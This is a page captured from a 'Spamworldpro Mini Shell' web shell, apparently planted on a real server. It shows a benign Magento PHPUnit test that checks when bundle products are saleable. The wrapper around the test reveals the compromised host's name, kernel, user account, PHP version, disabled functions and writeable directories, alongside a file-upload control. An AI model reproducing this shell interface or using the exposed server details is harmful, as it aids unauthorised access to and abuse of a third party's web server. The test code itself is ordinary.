Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/dev/tests/integration/testsuite/Magento/Bundle/Model/Product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/dev/tests/integration/testsuite/Magento/Bundle/Model/Product/IsSaleableTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

namespace Magento\Bundle\Model\Product;

/**
 * Test class for \Magento\Bundle\Model\Product\Type (bundle product type)
 *
 * @magentoDataFixture Magento/Bundle/_files/issaleable_product.php
 */
class IsSaleableTest extends \PHPUnit\Framework\TestCase
{
    /**
     * @var \Magento\Framework\ObjectManagerInterface
     */
    protected $objectManager;

    /**
     * @var \Magento\Catalog\Api\ProductRepositoryInterface
     */
    protected $productRepository;

    protected function setUp(): void
    {
        $this->objectManager = \Magento\TestFramework\Helper\Bootstrap::getObjectManager();
        $this->productRepository = $this->objectManager->get(\Magento\Catalog\Api\ProductRepositoryInterface::class);
    }

    /**
     * Check bundle product is saleable if his status is enabled
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnEnabledStatus()
    {
        $bundleProduct = $this->productRepository->get('bundle-product');
        $bundleProduct->setStatus(\Magento\Catalog\Model\Product\Attribute\Source\Status::STATUS_ENABLED);

        $this->assertTrue(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be saleable 
            if his status is enabled'
        );
    }

    /**
     * Check bundle product is NOT saleable if his status is disabled
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnDisabledStatus()
    {
        $bundleProduct = $this->productRepository->get('bundle-product');
        $bundleProduct->setStatus(\Magento\Catalog\Model\Product\Attribute\Source\Status::STATUS_DISABLED);

        $this->assertFalse(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be non saleable 
            if his status is disabled'
        );
    }

    /**
     * Check bundle product is saleable if his status is enabled
     * and it has internal data is_salable = true
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnEnabledStatusAndIsSalableIsTrue()
    {
        $bundleProduct = $this->productRepository->get('bundle-product');
        $bundleProduct->setStatus(\Magento\Catalog\Model\Product\Attribute\Source\Status::STATUS_ENABLED);
        $bundleProduct->setData('is_salable', true);

        $this->assertTrue(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be saleable 
            if his status is enabled and it has data is_salable = true'
        );
    }

    /**
     * Check bundle product is NOT saleable if
     * his status is enabled but his data is_salable = false
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnEnabledStatusAndIsSalableIsFalse()
    {
        $bundleProduct = $this->productRepository->get('bundle-product');
        $bundleProduct->setStatus(\Magento\Catalog\Model\Product\Attribute\Source\Status::STATUS_ENABLED);
        $bundleProduct->setData('is_salable', false);

        $this->assertFalse(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be non saleable 
            if his status is enabled but his data is_salable = false'
        );
    }

    /**
     * Check bundle product is saleable if it has all_items_salable = true
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnAllItemsSalableIsTrue()
    {
        $bundleProduct = $this->productRepository->get('bundle-product');
        $bundleProduct->setData('all_items_salable', true);

        $this->assertTrue(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be saleable 
            if it has data all_items_salable = true'
        );
    }

    /**
     * Check bundle product is NOT saleable if it has all_items_salable = false
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnAllItemsSalableIsFalse()
    {
        $bundleProduct = $this->productRepository->get('bundle-product');
        $bundleProduct->setData('all_items_salable', false);

        $this->assertFalse(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be non saleable 
            if it has data all_items_salable = false'
        );
    }

    /**
     * Check bundle product is NOT saleable if it has no options
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnBundleWithoutOptions()
    {
        $optionRepository = $this->objectManager->create(\Magento\Bundle\Api\ProductOptionRepositoryInterface::class);
        $bundleProduct = $this->productRepository->get('bundle-product');

        // TODO: make cleaner option deletion after fix MAGETWO-59465
        $ea = $bundleProduct->getExtensionAttributes();
        foreach ($ea->getBundleProductOptions() as $option) {
            $optionRepository->delete($option);
        }
        $ea->setBundleProductOptions([]);
        $bundleProduct->setExtensionAttributes($ea);

        $bundleProduct = $this->productRepository->save($bundleProduct);

        $this->assertFalse(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be non saleable 
            if it has no options'
        );
    }

    /**
     * Check bundle product is NOT saleable if it has no selections
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnBundleWithoutSelections()
    {
        $bundleProduct = $this->productRepository->get('bundle-product', true, null, true);
        $bundleType = $bundleProduct->getTypeInstance();
        /** @var  \Magento\Bundle\Model\LinkManagement $linkManager */
        $linkManager = $this->objectManager->create(\Magento\Bundle\Model\LinkManagement::class);

        /** @var \Magento\Bundle\Model\Product\Type $bundleType */
        $options = $bundleType->getOptionsCollection($bundleProduct);
        $selections = $bundleType->getSelectionsCollection($options->getAllIds(), $bundleProduct);

        foreach ($selections as $link) {
            /** @var \Magento\Bundle\Model\Selection $link */
            $linkManager->removeChild('bundle-product', $link->getOptionId(), $link->getSku());
        }

        $bundleProduct = $this->productRepository->get('bundle-product', false, null, true);
        $this->assertFalse(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be non saleable 
            if it has no selections'
        );
    }

    /**
     * Check bundle product is NOT saleable if
     * all his selections are not saleable
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnBundleWithoutSaleableSelections()
    {
        $productsSku = ['simple1', 'simple2', 'simple3', 'simple4', 'simple5'];
        foreach ($productsSku as $productSku) {
            $product = $this->productRepository->get($productSku);
            $product->setStatus(\Magento\Catalog\Model\Product\Attribute\Source\Status::STATUS_DISABLED);
            $this->productRepository->save($product);
        }

        $bundleProduct = $this->productRepository->get('bundle-product');

        $this->assertFalse(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be non saleable 
            if all his selections are not saleable'
        );
    }

    /**
     * Check bundle product is NOT saleable if
     * it has at least one required option without saleable selections
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnBundleWithoutSaleableSelectionsOnRequiredOption()
    {
        $productsSku = ['simple1', 'simple2', 'simple3'];
        foreach ($productsSku as $productSku) {
            $product = $this->productRepository->get($productSku);
            $product->setStatus(\Magento\Catalog\Model\Product\Attribute\Source\Status::STATUS_DISABLED);
            $this->productRepository->save($product);
        }

        $bundleProduct = $this->productRepository->get('bundle-product');

        $this->assertFalse(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be non saleable 
            if it has at least one required option with no saleable selections'
        );
    }

    /**
     * Check bundle product is NOT saleable if
     * there are not enough qty of selection on required option
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnBundleWithNotEnoughQtyOfSelection()
    {
        $this->setQtyForSelections(['simple1', 'simple2', 'simple3'], 1);

        $bundleProduct = $this->productRepository->get('bundle-product');

        $this->assertFalse(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be non saleable 
            if there are not enough qty of selections on required options'
        );
    }

    /**
     * Check bundle product is saleable if
     * all his selections have selection_can_change_qty = 1
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnBundleWithSelectionCanChangeQty()
    {
        $this->setQtyForSelections(['simple1', 'simple2', 'simple3', 'simple4', 'simple5'], 1);
        $bundleProduct = $this->productRepository->get('bundle-product');
        $options = $bundleProduct->getExtensionAttributes()->getBundleProductOptions();

        foreach ($options as $productOption) {
            $links = $productOption->getProductLinks();
            foreach ($links as $link) {
                $link->setSelectionCanChangeQuantity(1);
            }

            $productOption->setProductLinks($links);
        }

        $extension = $bundleProduct->getExtensionAttributes();
        $extension->setBundleProductOptions($options);
        $bundleProduct->setExtensionAttributes($extension);

        $bundleProduct = $this->productRepository->save($bundleProduct);

        $this->assertTrue(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be saleable 
            if all his selections have selection_can_change_qty = 1'
        );
    }

    /**
     * Check bundle product is not saleable if
     * all his options are not required and selections are not saleable
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnBundleWithoutRequiredOptions()
    {
        // making selections as not saleable
        $productsSku = ['simple1', 'simple2', 'simple3', 'simple4', 'simple5'];
        foreach ($productsSku as $productSku) {
            $product = $this->productRepository->get($productSku);
            $product->setStatus(\Magento\Catalog\Model\Product\Attribute\Source\Status::STATUS_DISABLED);
            $this->productRepository->save($product);
        }

        $bundleProduct = $this->productRepository->get('bundle-product');

        // setting all options as not required
        $options = $bundleProduct->getExtensionAttributes()->getBundleProductOptions();
        foreach ($options as $productOption) {
            $productOption->setRequired(false);
        }

        $extension = $bundleProduct->getExtensionAttributes();
        $extension->setBundleProductOptions($options);
        $bundleProduct->setExtensionAttributes($extension);
        $bundleProduct = $this->productRepository->save($bundleProduct);

        $this->assertFalse(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be not saleable 
            if all his options are not required and selections are not saleable'
        );
    }

    /**
     * Check bundle product is saleable if
     * it has at least one not required option with saleable selections
     *
     * @magentoAppIsolation enabled
     * @covers \Magento\Bundle\Model\Product\Type::isSalable
     */
    public function testIsSaleableOnBundleWithOneSaleableSelection()
    {
        // making selections as not saleable except simple3
        $productsSku = ['simple1', 'simple2', 'simple4', 'simple5'];

        foreach ($productsSku as $productSku) {
            $product = $this->productRepository->get($productSku);
            $product->setStatus(\Magento\Catalog\Model\Product\Attribute\Source\Status::STATUS_DISABLED);
            $this->productRepository->save($product);
        }

        $bundleProduct = $this->productRepository->get('bundle-product');

        // setting all options as not required
        $options = $bundleProduct->getExtensionAttributes()->getBundleProductOptions();
        foreach ($options as $productOption) {
            $productOption->setRequired(false);
        }

        $extension = $bundleProduct->getExtensionAttributes();
        $extension->setBundleProductOptions($options);
        $bundleProduct->setExtensionAttributes($extension);

        $bundleProduct = $this->productRepository->save($bundleProduct);

        $this->assertTrue(
            $bundleProduct->isSalable(),
            'Bundle product supposed to be saleable 
            if it has at least one not required option with saleable selection'
        );
    }

    private function setQtyForSelections($productsSku, $qty)
    {
        foreach ($productsSku as $productSku) {
            $product = $this->productRepository->get($productSku);
            $ea = $product->getExtensionAttributes();
            $ea->getStockItem()->setQty($qty);
            $this->productRepository->save($product);
        }
    }
}

Spamworldpro Mini